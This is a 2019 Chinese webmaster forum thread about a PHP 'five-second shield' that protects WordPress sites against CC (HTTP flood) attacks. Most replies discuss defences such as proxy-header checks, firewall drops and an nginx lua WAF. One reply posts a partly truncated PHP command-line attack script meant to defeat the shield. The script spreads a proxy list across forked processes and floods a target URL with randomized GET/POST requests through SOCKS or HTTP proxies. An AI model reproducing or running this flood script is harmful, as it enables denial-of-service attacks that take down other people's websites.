lonefly 发表于 2019-3-2 14:17:12

5秒盾防CC(PHP通用代码)

您的主题 Wordpress - 5秒盾防CC(PHP通用代码) 被 mtx 关闭,刚才的帖子被关闭了;

重新发一帖
022.gif


这是个类似Cloudflare的防 cc 功能,利用的是五秒盾的原理,经过检测得到 cookie 的浏览器才能正常的访问你的网站了,当然了,面对数以万计的肉鸡,这代码还是无能为力的,所以说做人就要低调,别到处装逼,到时候被打了惨的还是自己。


代码见签名网站


WordPress 上传到主题/template/cc.php ;

调用代码
PHP 通用调用,在头部或主要文件内文件加入:
[*]复制代码
WordPress 调用,主题/header.php 第一行添加代码:
[*]复制代码

搜索引擎蜘蛛已经过滤,不影响收录,还有未加上的可以自己补充。平时没攻击的时候建议不要开启,影响网站体验,配合《Nginx lua waf 简单防御 CC 攻击》效果更佳。

Kslr 发表于 2019-3-2 16:00:12

打到FPM了,只能说是基础缓解,最好在nginx上用lua写

kagurazakashira 发表于 2019-3-2 14:26:46

让我们来出一个对策

CURLPROXY_SOCKS5改为CURLPROXY_HTTP即可食用http代理
改为CURLPROXY_SOCKS4可使用socks4代理

[*]    \n";
[*]    echo "Power by Kagurazaka Shira\n";
[*]    exit;
[*]}
[*]
[*]if (!file_exists("$argv")) {
[*]    exit("Invalid input file!\n");
[*]}
[*]
[*]$method = strtolower($argv);
[*]if ($method != 'get' && $method != 'post') {
[*]    exit("Invalid input method!\n");
[*]}
[*]$data = $argv ?? ''; //请求参数
[*]
[*]if ($method == 'get' && !empty($data)) {
[*]    $url = strpos($url, '?') ? ($url . '&' . $data) : ($url . '?' . $data);
[*]}
[*]
[*]$url      = $argv; //url
[*]$array      = file($argv, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); //列表
[*]$childcount = $argv; //线程数
[*]$array      = array_unique($array);
[*]$part       = array();
[*]$part       = partition($array, $childcount); //列表分割
[*]
[*]$end_time = time() + intval($argv);
[*]
[*]for ($i = 0; $itime()) {
[*]            foreach ($part[$i] as $ip) {
[*]                $rand_num = mt_rand();
[*]                $rand_str = md5($rand_num);
[*]                $url      = str_replace(['{:rand_num}', '{:rand_str}'], [$rand_num, $rand_str], $url);
[*]                // var_dump($url);
[*]                $curl = curl_init();
[*]
[*]                curl_setopt_array($curl, array(
[*]                  CURLOPT_URL            => $url,
[*]                  CURLOPT_RETURNTRANSFER => true,
[*]                  CURLOPT_SSL_VERIFYHOST => false,
[*]                  CURLOPT_SSL_VERIFYPEER => false,
[*]                  CURLOPT_ENCODING       => "",
[*]                  CURLOPT_PROXYTYPE      => CURLPROXY_SOCKS5,
[*]                  CURLOPT_PROXY          => $ip,
[*]                  CURLOPT_MAXREDIRS      => 10,
[*]                  CURLOPT_TIMEOUT      => 30,
[*]                  CURLOPT_HTTP_VERSION   => CURL_HTTP_VERSION_1_1,
[*]                  // CURLOPT_CUSTOMREQUEST=> "GET",
[*]                  CURLOPT_HTTPHEADER   => array(
[*]                        "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
[*]                        // "accept-encoding: deflate, br",
[*]                        "accept-language: zh-TW,zh-HK;q=0.9,zh-CN;q=0.8,zh;q=0.7,ja-JP;q=0.6,ja;q=0.5,en-US;q=0.4,en-HK;q=0.3,en;q=0.2,ru;q=0.1,fa;q=0.1",
[*]                        "cache-control: no-cache",
[*]                        "dnt: 1",
[*]                        "pragma: no-cache",
[*]                        "upgrade-insecure-requests: 1",
[*]                        "user-agent: " . $ua,
[*]                  ),
[*]                ));
[*]                if ($method == 'post' && !empty($data)) {
[*]                  $data = str_replace(['{:rand_num}', '{:rand_str}'], [$rand_num, $rand_str], $data);
[*]                  curl_setopt($curl, CURLOPT_POST, true);
[*]                  curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
[*]                }
[*]                $response = curl_exec($curl);
[*]                if (empty($response)) {
[*]                  // echo "proxy {$ip} down.\n";
[*]                  continue;
[*]                } else {
[*]                  echo "attack request use {$ip} success\n";
[*]
[*]                }
[*]
[*]            }
[*]      }
[*]
[*]      exit;
[*]    }
[*]}
[*]for ($j = 0; $j 复制代码

lonefly 发表于 2019-3-2 15:22:34

那就通过HTTP协议头中的REMOTE_ADDR、HTTP_VIA、HTTP_X_FORWARDED_FOR来判断是代理禁止访问;

或者通过WebRTC的JS,HTML5的API检测代理并禁止

tem 发表于 2019-3-2 16:01:54

你起码把ip加到防火墙drop掉才有效果
lol.gif

why? 发表于 2019-3-2 16:46:59


lol.gif
都来到后端了 ,iptable 或者 nginx 就应该禁了

By小酷 发表于 2019-3-2 17:18:32

反正都到你的服务器了,你禁不禁根本无所谓,攻击目的已经达到,你再去禁止,怎么说呢,就是别人打你一巴掌,你然后摸摸脸说,不疼不疼,有啥用

PT80 发表于 2019-3-2 17:45:25

又看到了大佬了

lonefly 发表于 2019-3-3 13:49:57


Kslr 发表于 2019-3-2 16:00

打到FPM了,只能说是基础缓解,最好在nginx上用lua写
https://www.yunloc.com/167.html

已经有Nginx_lua_waf教程了
022.gif
页: [1]
查看完整版本: 5秒盾防CC(PHP通用代码)